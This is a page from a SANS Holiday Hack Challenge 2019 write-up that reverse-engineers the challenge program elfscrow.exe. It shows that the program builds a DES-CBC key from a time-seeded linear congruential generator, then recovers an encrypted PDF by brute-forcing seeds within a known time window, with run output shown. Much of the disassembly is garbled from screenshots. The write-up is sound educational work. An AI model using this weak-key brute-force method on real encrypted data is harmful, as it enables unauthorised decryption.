	push ecx call ds:imp_Cr test eax, eax jnz short loc_40	; phProv tAcquireContextA@20 ; CryptAcquireContextA(x,x,x,x,x) 33	
	▼		
	push offset aCryptacquireco ; "CryptAcquire call ?fatal_error@@YAXPAD@2 ; fatal_error(c	<pre>httext failed" loc_402733: lea edx, [ebp+key] push edx ; buffer call ?generate_keyG@YAXQAEG2; gend add esp, 4 push 8 ; length lea eax, [ebp+key] push eax ; str push offset title ; "Generated a call ?print_hexG@YAXPADPAEIG2; pri add esp, 0Ch mov [ebp+keyBlob.hdr.bType], 8 mov [ebp+keyBlob.hdr.bType], 8 mov [ebp+keyBlob.hdr.aiKeyAlg], 6d mov [ebp+keyBlob.hdr.eiKeyAlg], 6d mov [ebp+keyBlob.hdr.eiKeyAlg], 6d mov [ebp+keyBlob.dwKeySize], 8 mov dword ptr [ebp+keyBlob.rgbKeyI mov dword ptr [ebp+keyBlob.rgbKeyI mov dword ptr [ebp+keyBlob.rgbKeyI lea ecx, [ebp+hKey] push 1 ; dwFlags push 1 ; dwFlags push 1 ; dwFlags push 1 4h ; dwbataLen lea edx, [ebp+hProv] push edx ; pbData mov eax, eax jnz short loc_4027A83 call ds:_inp_CryptImportKeyG24; ; test eax, eax jnz short loc_4027A8 call call call call call call call</pre>	erate_key(uchar * const) in encryption key" .nt_hex(char *,uchar *,uint) 01h Pata], edx Pata+4], eax CryptImportKey(x,x,x,x,x,x)
-2	mis	R	
10.17			

Following the right branch, where execution continues if no error occurred, we see two interesting calls: one to generate_key() and another to CryptImportKey().

0277D	push	ecx	; phKey		
0277E	push	1	; dwFlags		
02780	push	0	; hPubKey		
02782	push	14h	; dwDataLen		
02784	lea	edx, [ebp+key8	lob]		
02787	push	edx	; pbData		
02788	mov	eax, [ebp+hPro	iv]		
0278B	push	eax	; hProv		
0278C	call	ds:impCryp	tImportKey@24 ; (CryptImportKey(x,x,x,	x,x,x)
				21 1 25 7 7 7	

The CryptImportKey() function call (also deprecated) and its parameters are defined by Microsoft in the following link: https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptimportkey

As we inspect certain variables and error messages, there are clues that indicate that DES is the cipher in use:

02784	lea edx, [ebp+keyBlob]	1
02787	push edx ;	pbData
02788	mov eax, [ebp+hProv]	-80000830 : Use data definition commands to create local variables and function arguments.
0278B	push eax ;	-00000030 : Two special fields " r" and " s" represent return address and saved registers.
0278C	call ds:impCryptImp	P-00000030 : Frame size: 30: Saved regs: 4: Purge: 0
02792	test eax, eax	- 66666636 :
02794	jnz short loc_4027A3	- 69666636
02796	push offset aCryptimpor	"-00000030 data dd ? : offset
0279B	call ?fatal_error@@YAXP	PI-8888882C keu81ob DESKEYBLOB ?
0279B ;		-00000018 key db 8 dup(?)
00001B71	00402771: do encrypt(int,char *,char *)+A1	-00000010 var 10 dd ?
•		

Continuing down the do_encrypt() function, another clue that DES is being used and in CBC (Cipher Block Chaining) mode:

call ds: <u>_imp_CryptImportKey@2</u> test eax, eax jnz short loc_4027A3	4 ; CryptImportKey(x,x,x,x,x)
w + = push offset aCryptimportkey ; "CryptImportKey failed for DES-CBC key" call ?fatal_error@@YAXPAD@Z ; fatal_error(char *)	<pre> w +4 B loc_4027A3: mov ecx, [ebp+data_len] add ecx, 8 push ecx ; dwBufLen lea edx, [ebp+data_len] push edx ; pdwDataLen mov eax, [ebp+data] push eax ; pbData push 0 ; dwFlags push 1 ; Final push 0 ; hHash mov ecx, [ebp+hKey] push ecx ; hKey call ds: ino CruptEncrupt(x.x.x.x.x.x.x)</pre>
	test eax, eax jnz short loc_4027DB

Following the right branch, where execution continues if no error occurred, we see one last interesting call to CryptEncrypt().

The CryptEncrypt () function call (also deprecated) and its parameters are defined by Microsoft in the following link: https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptencrypt

Now going back to the gen	nerate_key() function we saw earlier; this is where the DES encryption key is g	enerated:	
2	; Attributes: bp-based frame ; voidcdecl generate_key(char *buffer)		
	?generate_key@@YAXQAE@Z proc near i= dword ptr -4 buffer= dword ptr -8		
	<pre>push ebp nov ebp, esp push ecx push offset a0urMiniatureE1; "Our miniature elves are putting togethe" call ds:_inpiob_func add eax, 40h push eax ; File call ds:_inp_fprintf add esp, 8 push 0 ; _Time call tine</pre>		
	add esp, 4 push eax ; seed call ?super_secure_srand@@YAXH@2 ; super_secure_srand(int) add esp, 4 mov [ebp+1], 0 jmp short loc_401E31		
	cmp [ebp+i], 8 jnb short loc_401E4F		
	call ?super_secure_random@@YAHXZ ; super_secure_random(void) movzx ecx, al and ecx, 0FFh mov edx, [ebp+buffer] add edx, [ebp+i] mov [edx], c1 jmp short loc_401E28		
	W ⊶ ⊌ loc_401E28: mov eax, [ebp+i] add eax, 1 mov [ebp+i], eax		

Here there are two very interesting functions being called inside of generate_key():

- time() function
- super_secure_srand() function

The time() function shown here below calls _time64() which returns the number of seconds elapsed since midnight, January 1, 1970 (aka. Epoch time) and stores that value in register *eax* as a return value to generate key():

₩ ⊶ 🖭 ; Attributes: bp-based Frame	
;int64cdecl time(int64 *_Time) time proc near Time= dword ptr 8 push ebp mov ebp, esp	push 0 ; _Time call time add esp, 4 push eax ; seed call 2super secure srand@@VeXH@2 : super secure srand(int)
push eax [cup_line]; Time call ds:_inp_time64 add esp,4 pop ebp retn time endp	

Then right after calling the time() function, generate_key() does a *push eax* (which is the epoch time) as a parameter to pass to the super_secure_srand() function. Notice that this time value becomes the seed value for super_secure_srand(). That means that the current Epoch time when the elfcrow.exe was run is the seed value for the super_secure_srand() function!

Now let's take a look at what super secure srand() does with the seed value:

🖬 🖂 🖻 ; Attributes: bp-based frame ; void ___cdecl super_secure_srand(int seed) ?super_secure_srand@@YAXH@Z proc near seed= dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+seed] push eax offset aSeedD ; "Seed = %d\n\n" bush call ds: iob func eax, 40h add push eax File call ds: imp__fprintf add esp, OCh ecx, [ebp+seed] mov mov state, ecx pop ebp retn ?super_secure_srand@@YAXH@Z_endp

It prints the seed value and then stores it in a variable called *state* (will be referenced later), then returns to generate_key() to continue execution falling through to this loop:



This loop will iterate 8 times, calling another function super_secure_random() and performing some post calculations on each iteration of the loop. Let's see the code for super_secure_random() and the loop body code snippet from above.

Having both side by side will complete the picture of what this code does:

🖬 🖂 🔤	
call	<pre>?super_secure_random@@YAHXZ ; super_secure_random(void) ecval</pre>
and	ecx, 0FFh
mov add	edx, [ebp+buffer] edx. [ebp+i]
mov	[edx], cl
jmp	short loc_401E28

🖬 🕰 🕮
: Attributes: bp-based frame
,
; intcdecl super_secure_random()
push ebp
mov ebp, esp
mov eax, state
add eax, 269EC3h
mov state, eax
nov eax, state sar eax. 10h
and eax, 7FFFh
pop ebp
?super_secure_random@@YAHXZ_endp

If we follow the logic of these two blocks starting with the left block, the sequence looks like this:

1. Call super_secure_random() -> control passes to the right code block.

In super_secure_random()

- 2. Ignore "push ebp" and "mov ebp, esp" as these are part of the CDECL function prologue to prepare the stack
- 3. "mov eax, state" place state value in eax (this was set in super_secure_srand() initially is the Epoch time seed.)

For the first iteration of the loop - eax now contains the Epoch time seed value For subsequent iterations - eax will contain the previous loop iteration state value from step 6

- 4. "imul eax, 343FDh" multiply the value in eax with 0x0343FD (214013 int) and store the result in eax
- 5. "add eax, 269EC3h" add the value in eax to 0x269EC3 (2531011 int) and store the result in eax
- 6. "mov state, eax" store current value of eax in the state variable (this becomes the new state for next iteration)
- 7. "mov eax, state" copy the same value from state back into eax
- 8. "sar eax, 10h" do a bitwise shift right on the value of eax for 10h (16 int) number of bits
- 9. "and eax, 7FFFh" do a bitwise AND on the 2 low order bytes of eax with 7FFFh (0111 1111 1111 1111 binary)
- 10. "pop epb" and "retn" to prepare the stack and return to the 2nd line in the left block

Back in generate_key()

- 11. "movzx ecx, al" move the low order byte (8 bits) of eax (al) to ecx
- 12. "and ecx, 0FFh" do a bitwise AND on the low order byte of ecx with 0FFh (0000 0000 1111 1111 binary)

At this step, we have **1** byte of the actual encryption key in the low order byte of *ecx* and the next three instructions will store that byte in a memory buffer which will expand byte-by-byte to build the encryption key as we iterate through this loop a total of 8 times.

- 13. "mov edx, [ebp+buffer]", "add edx, [ebp+i]", "mov [edx], cl" store low order byte cl into the buffer location at index i
- 14. "jmp short loc_401E28" this goes to the instructions that increment the loop counter by 1, do the compare if we've reached 8 iterations, and if not loop again otherwise exit the loop.

We can follow this same execution flow in Immunity Debugger to verify with an actual run of elfcrow.exe with actual values that we're analyzing this correctly.

We can start Immunity Debugger and launch the elfcrow.exe process with some command line parameters to encrypt a test file:

🔱 Immunity De	ebugger - [CPU]		
C File View [Debug Plugins ImmLib O	ptions Window Help 3	Jobs
🗀 🐝 🖻 🔣	44 × ▶ 4 4 \$	↓ → → ler	ntwhc
🐴 Open 32-b	it executable		×
Look in: 🚺	Objective10	* <u></u> + E	
elfscrow.e	exe		
File name:	elfscrow.exe		Open
Files of type:	Executable file (*.exe)	_	Cancel
Arguments:	encrypt test.pdf test.pdf.en	c	•

Once running, we can see the executable is loaded into memory:

📲 Immu	nity Debu	gger – elfs	scrow.exe	: - [Ex	ecutable i	module	s]										
E File	View Deb	ug Plugins	s ImmLib	Optic	ons Windo	w Help) Jobs	;									
🗀 🐝 🛛	🗏 🔣 🖌	🗙 🕨	日時間	511	 + +	l e	m	t w	h	c P	k	b	Z I	·	s	?	Code auditor and software assessment specialist needed
Base	Size	Entry	Name	File	version	Path											
00030000	00009000	000337F7	elfscrow			C:Ns	anshol	idayh	ackch	allen	ge20	19\0	bjec	tive1	l@Ne1	lfso	crow.exe
68020000	000A3000	68042D40	MSVCR90	9.00	.30729.49	40 C: \W	lindows	s∖WinS	RSNRE	6_mic	roso	ft.v	c90.	ort_1	lfc8b	5369	9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll
746F0000	00009000	746F1220	version	6.1.	7600.1638	5 C:\W	indows	s∖syst	em32^	versi	on D	LL					
748B0000	00000000	748B10E1	CRYPTBAS	6.1.	7601.2438	4 C:∖W	indows	s∖sysw	ow64^	CRYPT	BASE	.dll					
7480000	00060000	748DA3B0	SspiCli	6.1.	7601.2438	4 C: NU	indows	i)sysw	ow64)	SspiC	li.d	ш.					
74980000	00004000	74054000	apt-ms-w	6.2.	9200.1649	2 C: NU	indows	sysw	ow64)	apt-m	is-wi	n-do	whle	vel-u	Isera	32-L	·11-1-0.d11
74HF0000	00008000	74HF1992	protapi	12.1.	7600.1638	2 1 8 3 8	Indows	Sanam	0W641	prota	pi.g						
74600000	00019000	74604975	secnost	2.5	7500.1533		Indows	189SW	00641	secho	st.d						-11-1-0 dll
74050000	00004000		Гарт-Ма_2	2.4.	7600.1647		rindows	Neveu	0064	месть	is-wi	.n=uo	write	ver-u	ers.	1011-	-11-1-0.011
74520000	00232000	74E23B70	iertutil	11 0	0 9600 17	841 C+NH	lindous	Neneu	ou645	iertu	÷ii	an					
25020000	000005000	14620010	ani-ms 4	6.2.	9200.1649	2 L Č S KI	indows	Neueu	ow641	an i -m	s-wi	ñ-do	unle	ue I - a	aduar	132	2-11-1-0-d11
75080000	000A1000	75094919	ADVAPI32	6.1.	7601.2438	4 Č: \W	indows	NSUSW	ow64	ADVAR	132.	dlĭ					
75130000	00003000		normaliz	6.1.	7600.1638	5 C:\W	indows	NSU SW	ow641	norma	iliz.	DLL					
75140000	00047000	75147541	KERNELBA	6.1.	7601.1801	5 C:\W	indows	Nsysw	ow64N	KERNE	LBAS	E.dl					
75190000	000AC000	75198472	msvort	7.0.	7601.1774	4 C:∖W	lindows	s∖sýsw	ow64N	msvor	t.dl						
75240000	00060000	7525158F	IMM32	6.1.	7601.1751						2.DLL						
75450000	00110000	75463356	kernel32	6.1.	7601.1801	5 C: \W	indows	s∖sysw	ow64^	kerne	132.	all					
75560000	000000000	75563680	LPK	6.1.	7601.2380	Z C: NW	indows	i∖sysw	ow64)	LPK.c	цι.						
75570000	UUUFUUUU	75580569	RPCR14	6.1.	7600.1638	5 U: NU	Indows	NSYSW	0W64	RECRI	4. di	.t					
75710000	00057000	75729886	sniwapi	2.5	7600.1638		Indows	SARA	0004	sniwa	р., U						-11-1-0 -111
75770000	00004000		apt-ms_1	2.5.	2200.1047	5 10:00	indows	189.8W	00041	apter	ISTW1	n=do	white	Ve i Ta	STI LWA	방법	
76650000	00100000	266EB6E0	ucen32	6 1	7601 1751	4 10:50	lindous	Neneu	00641	user?	15-WI	n-uo	witte	ver-n	i OI ma	3112	2-11-1-0.011
26250000	00090000	767E633B	60132	6.1.	7601.2380	z Lőssü	indows	Neueu	ou645	GD182	Call						
76870000	001E4000	76872970	MININET	11.0	0.9600.16	421 Č: Nij	indows	Neusu	ow641	JITNTN	IFT A	11.1					
76868888	00090000	76894740	USP10	1.06	26.7601.2	381 C: Nil	indows	Neusu	ow64	USPig	.dii						
76800000	00017000	76801C9D	USERENU	6.1.	7600.1638	5 C: \W	indows	NSUSW	ow64>	USERE	NU.d	111					
76F50000	00180000		ntdll	6.1.	7600.1638	5 C:\W	indows	Systil	0064	ntdll	.dll						

1080		INT3	secure_sta			_key(), where we can set some breakpoint	
1D8D 1D8E	CC CC	INT3 INT3					
:1D8F :1D90 r \$	ČČ 55	INT3 PUSH EBP					
1D91 1D93	88EC 8845 08	MOV EBP, ESP MOV EAX. DWO	>)RD PTR SS:[EBP+8	33			
1D96 . 1D97 .	50 68 E8420300	PUSH EAX PUSH elfsor	row.000342E8		ASCII "Seed = %doo"		
1D9C .	FF1 <u>5 <u>CC400300</u> 83C0 40</u>	ADD EAX, 40	PTR DS: EK&MSUCRS	90iob_func	MSVCR90p_iob		
1DA5 . 1DA6 .	50 FF15 <u>C8400300</u>	PUSH EAX CALL DWORD	PTR DS: EK&MSUCRS	0.fprintf>]	stream fprintf		
1DAC .	83C4 0C 8B4D 08	ADD ESP, 0C MOV ECX, DWO	ORD PTR SS: LEBP+8	30			
1DB2 .	890D <u>20600300</u> 5D	MOV DWORD F	PTR DS:[3602C],E0	×			
1DB9 L. 1DBA	C3 CC	RETN INT3					
1DBB 1DBC	CC CC	INT3 INT3					
1DBD 1DBE		INTS					
	55	PUSH EBP					
1DC3	88EC A1 <u>2C600300</u>	MOV EAX, DWO	DRD PTR DS:136020	1	00017 #	- 1	
1DCS	6900 FD430300 05 C39E2600	ADD EAX, 269	4X,elfscrow.0003 9EC3	KSFD VV	HSUII "InternetSetUption +.	alled"	
1003 .	H3 <u>20600300</u> A1 <u>20600300</u> C1F2 10	MOV EAX, DWO	DRD PTR DS: [36020]				
IDE0	25 FF7F0000	AND EAX, 7FF	F				
	50 C3 CC	RETN					
1DE8	ČČ	INT3					
IDEA	ČČ	INT3					
1DEC	čč cc	ÎNT3 INT3					
IDEE IDEF	ČČ CC	ÎNȚ3 INȚ3					
	ŜŜ 8BEC	PUSH EBP MOV EBP.ESP	, ,				
1DF3 .	51 68 10430300	PUSH ECX PUSH elfsor	row.00034310		ASCII "Our miniature elve	s are putting together random bits for your secret	key!⊡
1DF9 . 1DFF .	FF1 <u>5 <u>CC4003</u>00</u> 83C0 40	CALL DWORD ADD EAX,40	PTR DS: EK&MSVCRS	90iob_func	MSVCR90p_iob		
1E02 . 1E03 .	50 FF15 <u>C8400300</u>	PUSH EAX CALL DWORD	PTR DS: EK&MSUCRS	0.fprintf>]	stream fprintf		
1E09 . 1E0C .	83C4 08 6A 00	ADD ESP,8 PUSH 0			f Arg1 = 00000000		
1E0E .	E8 4D000000 83C4 04	CALL elfson ADD ESP,4	row.00031E60		Lelfscrow.011D1E60		
1E16 1E17	50 E8_74FFFFFF	CALL_elfsci	row.00031D90		C ^{Hrg1} elfscrow.011D1D90		
IEIC	8304 04 C745 FC 00000	MOV DWORD P	TR SS:[EBP-4],0				
1E28	8845 FC	CMOV EAX, DI	IORD PTR SS: [EBP-	-4]			
	8360 01 8945 FC 8975 FC 80	MOV DWORD	PTR SS:[EBP-4],	AX			
1E35 .	73 18 58 8455555	JNB SHORT	elfscrow.00031E	F			
1E3C	0FB6C8 81E1 FE000000	MOVZX ECX,	AL				
1E45	8855 08 0355 FC	MOV EDX, DI	ORD PTR SS: LEBP-	-8]			
IE4B	880A FB N9	MOV BYTE F	TR DS:[EDX],CL	28			
1E4F >	BBES SD	MOV ESP, EBP					
	ēā	RETN					

By placing a breakpoint right after the call to _time64(), we can validate the value that the time() function (shown below) generates is an Epoch time value and that it stores it in *eax* so it can be picked up as the seed value by super_secure_srand()

-																
01351E5	F	CC		INTS	3						Reg	isters (FPU)			
01351E6	۹ Γ ۹	SS 8BEC		MOV	EBP.ESP						EAX	5E0B94E	E.			
01351E6	3.	8B45	08	MOU	EAX DWORD P	TR SS: CEBP+8	3				EDX	0000000	10			
01351E6	7	FF15	DC403501	CALL	DWORD PTR	DS: EK&MSUCR9	0time64>]	MSVCR	90time64		EBX	00000000 0024FD4)0 18			
01351E6	<u>и</u> .	83C4 50	04	POP	ESP,4 EBP						ĔBP	0024FD4	Ķ			
01351E7	įL:	Č3		RET	4						EDI	0135638)1 30 el	fscrow	.0135638	8C
01351E7	ŝ	čČ		INTS	3						EIP	01351E6	D el	fscrow	.01351E0	6D

We see that value 0x5E0B94EF was stored in *eax* and doing the conversion to decimal int, it is Epoch time 1577817327.

01351EEF CC INT3 01351EE0 F\$ FUSH EEP 01351EE1 \$88C HOU EEP, ESP 103 01351EE5 \$845 HOU EEP, DOWNORD PTR SSILEEP+83 01351EE5 \$845 HOU EEP, DOWNORD PTR SSILEEP+83 01351EE5 \$804 04 PUSH EEP 01351E56 \$03 \$804 04 01351E57 \$03 \$804 04 01351E71 \$03 \$03 \$804 01351E72 \$03 \$804 \$90 01351E72 \$03 \$90 \$91 01351E72 \$03 \$92 \$177	time64>] MSUCI	190time64	<u> </u>	Registers (F EAX SE0894EF ECX 00000000 EDX 00000000 EDX 00000000 EDX 00000000 EDX 00000000 EDX 00000001 EDX 00000001 EDI 01356380	PU) elfsorow.0:	13 <u>5638</u> C	< <	< <	< < <	< < < <
01351E73 CC INT3	Calculator					🗧 🔜 Calculat				
01351E74 CC INT3					Fi					
01351E76 CC INT3	View Edit Help					View Edit	Help			
01351E77 CC INT3										
01351E78 CC INT3					00	10				
01351E7A CC INT3					are 🖬	F			4 -	
01351E78 CC INT3				5E0RA	466	s			15	0//81/32/
01351E7C CC INT3										
01351E7E CC INT3										
01351E7F CC INT3	0000 0000	0000 0000	0000 0	0000 0000	0000	0000	0000 000	0 0000	0000 000	0000 0000
	63		47		32	63			47	32
01351E01 . ODEC HOVEDF,ESF	0101 1110	0000 1011	1001 0	100 1110	1111	0101	1110 000	0 1011	1001 010	0 1110 1111
01351E84 . C745 FC 00000 MOV DWORD PTR SS:[EBP-4],0	31		15		0	31			15	0
01351E8B . EB 09 JMP SHORT elfscrow.01351E96										
01351E90 . 83C0 01 ADD EAX.1		Mod 0				A 11		404 0	MC MD	Me M. M
01351E93 . 8945 FC MOV DWORD PTR SS:[EBP-4],EA	• Hex	MOULA	I MIC I MIR	K MIS MI+	141-	O Hex			MC MR	1015 101+ 10I-
01351E96 > 837D FC 08 CMP DWORD PTR SS:[EBP-4],8	O Dec					I O Dec				
01351E9C . 884D 08 MOV ECX.DWORD PTR SS: [EBP+8]	0.000	() B	t 🖌 🖌 CE	E C ±	1	No bee	ſ	1 B	← CE	C ± √
01351E9F . 034D FC ADD ECX, DWORD PTR SS: CEBP-4.	0 Oct _					O Oct			,	
01351EH2 . 0FB611 MOVZX EDX, BYTE PTR DS:[ECX] 01351EA5 . 52 PUSH EDX	O Bin					C Bin	Det 1		7 0	

Continuing execution, back in generate_key(), we can see that this current Epoch time becomes the initial seed value for the super_secure_srand() function, saved to state, and then this initial seed subsequently ends up in super_secure_random()
(shown below) when it's copied back from state into eax in the initial iteration of the loop.

01351DBE CC INT3 01351DBF CC INT3 01351DC1 \$ 55 PUSH EI 01351DC1 \$ 8BEC MOV EB 01351DC3 • 1 20603501 MOV EA 01351DC3 • 6900 FD430300 IMUL EI 01351DC3 • 6900 FD430300 IMUL EI 01351DC4 • 6900 FD430300 IMUL EI 01351DC5 • 01 20603501 MOV EM 01 21 01351DC6 • 02 20603501 MOV DW 01 21	3P ,ESP 4X,EMORD PTR DS:[135602C] 4X,EAX,343FD 4,269EC3 DRD PTR DS:[135602C],EAX 4 DWORD PTR DS:[135602C]	▲ Registers (EAX 550894E ECX 550894E EDX 0000000 ESP 0024FD5 EBP 0024FD5 ESP 0024FD5 ESP 0024FD5 ESP 0024000	FPU) F 8 10 10 50 50 50 50 50
01351000 . C1F8 10 SAR EA 013510E0 . 25 FF7F0000 AND EA 013510E0 . C3 POP EB 013510E7 CC INT3 013510E8 CC INT3 013510E9 CC INT3 013510E9 CC INT3 013510E8 CC INT3 013510E9 CC INT3 013510E0 CC INT3	Calculator View Edit Help	EIP 01351D0	5E0B94EF
01351DF0 2 55 POSH E 01351DF1 .8BEC MOV EB 01351DF3 .51 PUSH E 01351DF4 .68 10433501 PUSH E 01351DF4 .68 10433501 PUSH E 01351DF5 .51 CC403501 CALL D 01351DF5 .50 ADD EA ADD EA 01351E02 .50 PUSH E 01251E03 01351E03 .FF15 C8403501 CALL D 01351E03 .FF15 C8403501 CALL D	CRESP WORD PTR 40 0000 0000 63 0101 1110 31 000 PTR	0000 0000 0000 47 0000 1011 1001 15	0000 0000 0000 32 0100 1110 1111 0
01351E05 . 63C4 08 HDD ES 01351E0C . 6A 00 PUSH 0 01351E0E . E8 4D000000 CALL e	Ifsorow. O Hex	Mod A MC N	AR MS M+ M-

This screen below shows the step in super_secure_random() where the current value in *eax* is saved off to the *state* variable, which will be used in the next iteration of the loop. You can see in the Dump view in the lower left window the *state* buffer address (0x0135602C) and the value it stores (in little endian) to right of it "F6 5B 60 B8" which matches what's currently in *eax*:

01351DBE CC INT3 01351DBF CC INT3 01351DBF CC INT3 01351DC1 * SBEC HOU 01351DC3 A1 2C603501 HOU 01351DC3 69C0 FD430300 IMUL 01351DC3 69C0 FD430300 IMUL 01351DC3 A2C603501 HOU 01351DC3 A32C603501 HOU 01351DC3 A1 2C603501 HOU 01351DC3 A2C603501 HOU HOU 01351DC3 A1 2C603501 HOU 01351DE4 C1F8 10 SRF 01351DE5 SD POP POP 01351DE7 CC INT3 POT 01351DE7 CC INT3 POT 01351DE7 CC INT3 POT 01351DE7 CC INT3 POT 01351DE7 CC INT3 POT	EBP EBP,ESP EAX,DWORD PTR DS:[135602C] EAX,243FD EAX,269EC3 WORD PTR DS:[135602C],EAX EAX,DWORD PTR DS:[135602C] EAX,10 EAX,7FFF EBP	Registers (FPU) EAX B8605BF6 ECX SE0894EF EDX 0006DF58 EBP 0024FD50 EBP 0024FD50 EDI 0035638C EII 0135638C elfscrow.0135638C EIP 01351DD8 elfscrow.01351DD8 C 0 ES 0028 32bit 0(FFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) Z 0 DS 0028 32bit 0(FFFFFFFF) Z 0 DS 0028 32bit 0(FFFFFFFF)	< <
		T 0 GS 002B 32bit 0(FFFFFFF) D 0	
Haaress Hex aump Alaseaac se se ea po al aa aa i			▲
0135602C P6 35 50 50 50 40 00 00 0135603C 00 00 00 00 00 00 00 00 0135604C 00 00 00 00 00 00 00 00 0135604C 00 00 00 00 00 00 00 00 0135605C 00 00 00 00 00 00 00 0135605C 00 00 00 00 00 00 00 0135606C 00 00 00 00 00 00 00 0135666C 00 0 0 00 00 00 00 00 00 00 00 00 00 00 0 0 0 00 00 00 00 00 00 00 00 00 00 00	10 OL _* 10		

.

Ø1351E28	> 8B45 FC	MOV EAX,DWORD PTR SS:[EBP-4]
01351E2B	. 83C0 01	ADD EAX,1
01351E2E	. 8945 FC	MOV DWORD PTR SS:[EBP-4],EAX
01351E31	> 837D FC 08	CMP DWORD PTR SS:[EBP-4],8
01351E35	. 73 18	JNB SHORT elfscrow.01351E4F
01351E37	. E8 84FFFFFF	CALL elfscrow.01351DC0
01351E3C	. 0FB6C8	MOVZX ECX,AL
01351E3F	. 81E1 FF000000	AND ECX,ØFF
01351E45	. 8B55 08	MOV EDX,DWORD PTR SS:[EBP+8]
01351E48	. 0355 FC	ADD EDX,DWORD PTR SS:[EBP-4]
01351E4B	. 880A	MOV BYTE PTR DS:[EDX],CL
01351E4D	.^EB D9	-JMP SHORT elfscrow.01351E28

In this screen above we're back in generate key() and the code that called super secure random() is at address 01351E37.

Let's walk through the next five instructions step by step and they mirror Steps 11-13 in the walkthrough we did earlier with IDA. Upon returning from the super secure random () call, execution continues at address 01351E3C:

MOVZX ECX, AL

This is equivalent to Step 11 from the IDA walkthrough - "move the low order byte (8 bits) of eax (al) to ecx"

Then execution continues at the next address O1351E3F:

AND ECX, OFF

This is equivalent to Step 12 from the IDA walkthrough - "do a bitwise AND on the low order byte of ecx with 0FFh (0000 0000 1111 1111 binary)"

When we reach the next instruction at address 01351E45, we now have in CL (low order byte of ecx) a byte of our encryption key!

MOV EDX, DWORD PTR SS: [EBP+8] This instruction loads the <u>address</u> of the key buffer from the stack into EDX.

Then execution continues at the next address 01351E48:

ADD EDX, DWORD PTR SS: [EBP-4]

This instruction increments the address pointer stored in EDX with a counter value stored on the stack, so we can store the next byte in the key in the next buffer location.

Then execution continues at the next address 01351E4B:

MOV BYTE PTR DS:[EDX],CL

This instruction will take the key byte in CL and store it in memory address contained in EDX.

The above code also shows the *CMP* instruction at address 01351E31 which controls the number of times the loop executes, which is 8 because it ultimately generates an 8-byte encryption key, byte-by-byte. (indicating a DES key).

It is very helpful to setup breakpoints as shown in the screens above and to step through instruction by instruction in the debugger while the generate_key() and super_secure_random() logic progresses to see what's happening at each step.

Having gone through all the analysis thus far, we now know:

- 1. The encryption algorithm used, which is DES-CBC
- 2. The exact logic of how to generate the key
- 3. The fact that the seed value is a predictable value based on the current Epoch time the program was run
- 4. A discrete time range when the encrypted pdf was encrypted: (December 6, 2019, between 7pm and 9pm UTC)

It is now possible to model this logic in a Python program which will read in the ciphertext from the encrypted document, and attempt to bruteforce the encryption key until a readable and expected plaintext is produced. Since in our case the encrypted document was a pdf file, there are known plaintext magic bytes at the start of every pdf file we can compare against.

Page 106 of 184

My Python program called elfscrow_crack.py implements the DES algorithm including CBC mode using the pycrypto library (python3 -m pip install pycrypto). I also created a helper program called get_epoch_time.py that will calculate the Epoch time given a year, month, day, hour, minute, seconds input. The full source for both are in the Appendix of this report or at https://github.com/deckerXL/SANSHolidayHackChallenge2019. See here is the run output of each and the recovery of the plaintext pdf from the provided encrypted pdf:

:~/working# python3 ./get_epoch_time.py	year=2019month=12day=06hour=19		
Unix Epoch UTC timestamp for 12/06/2019 19:00:00 =	1575658800		
:~/working#			
:~/working# python3 ./get_epoch_time.py	year=2019month=12day=06hour=21		
minutes=00seconds=00	1575666000		
:~/working#	1373000000		
:~/working# python3 ./elfscrow crack.py	epoch start=1575658800epoch end=15756		
66000encrypted_file=./ElfUResearchLabsSuperSledO	MaticQuickStartGuideV1.2.pdf.encplaintex		
t_file=./ElfUResearchLabsSuperSledOMaticQuickStartG	uideV1.2.pdfmagicbyte_sentinel=PDF		
Seed:1575658800 Key: d/C210323C209101 Byles: Seed:1575658801 Key: dabfe3318676c8a0 Bytes:	[D^\Xde_\X81\XCe\X0C21<^] [b'\xd7\xbd_\xcb\x19\xea\x12\xe7']		
Seed:1575658802 Key: ddbhab31d1cdf030 Bytes:	[b'c\x04`1\x94\x9fN\x94']		
Seed:1575658803 Key: e1b873301b2418c1 Bytes:	[b'\x10\x9d\x82\n\x1e\x9a)\xf7']		
Seed:1575658804 Key: e4b43b2f667b4152 Bytes:	[b'\x14k\xd7 a\xe6\xbb+']		
Seed:15/5058805 Key: e/d0042eD10109e2 Bytes:	[D'\X08_\X87\XDDE\X10\X89%;]		
Seed:1575658807 Key: eea9942d467fba04 Bytes:	[b'v\xc0\xfb\xbf\xad\x04\x876']		
Seed:1575658808 Key: fla65c2c90d6e395 Bytes:	[b'\x13=\x93\xac\xf4\xc8\x19\x17']		
Seed:1575658809 Key: f4a2242cdb2c0b25 Bytes:	[b'j\xedP\xfb\xaf\x1cw\xfb']		
Seed:1575658810 Key: 189eec2b258334b6 Bytes:	[b'dXK\x16R@WT'] [b'u\x1bm()xof)xf1)xcd\xccl]		
Seed:1575658812 Key: 1090052470045647 Byles: Seed:1575658812 Key: fe977d2abb3085d8 Bytes:	[b'\x98\xbb\x86\xc3\x91>\x99v']		
Seed:1575658813 Key: 019445290587ad68 Bytes:	[b'\x9c\xb1H\xc3\xf1F\x16 ']		
Seed:1575658814 Key: 05900d2850ded5f9 Bytes:	[b'\xaat\xe3_*J\x00\xda']		
Seed:1575658815 Key: 088cd5289a35fe8a Bytes:	[b'\x94\xac\xfc\xe9"\x93\x7f\xc3']		
Seed:15/5058810 Key: 0089902/e580201a Bytes: Seed:1575658817 Key: 0e85662630e24fab Bytes:	[D'>\X91"\X8T\XC0\X93\XTD/'] [h'\xa2\x98\xe8\xa7]v\xb0e']		
500017 Store Rey. 000002050024100 Stores.			
 Seed:1575663612 Key: 3936b44c0060f970 Bytes:	[h'\ xf6] 4\ x8a\ xh4\ xe08\ x97']		
Seed:1575663613 Key: 3c327c4b4ab72201 Bytes:	[b'\xd2\x1f6\xcem\xf9\xaax']		
Seed:1575663614 Key: 3f2f444a950d4a92 Bytes:	[b'K\xa4\xc8\xbb:/!B']		
Seed:1575663615 Key: 432b0c4ae0647322 Bytes:	[b'9\r\x16\xea\x9e\xb3%\xe9']		
Seed:1575663616 Key: 462804492abb9bb3 Bytes:	[b'\xbe\x05b"R\x14b\xb5']		
Seed: 1575663618 Key: 452490487512C444 Bytes:	[b'9s\xe3\xd0a\xd9\x88{']		
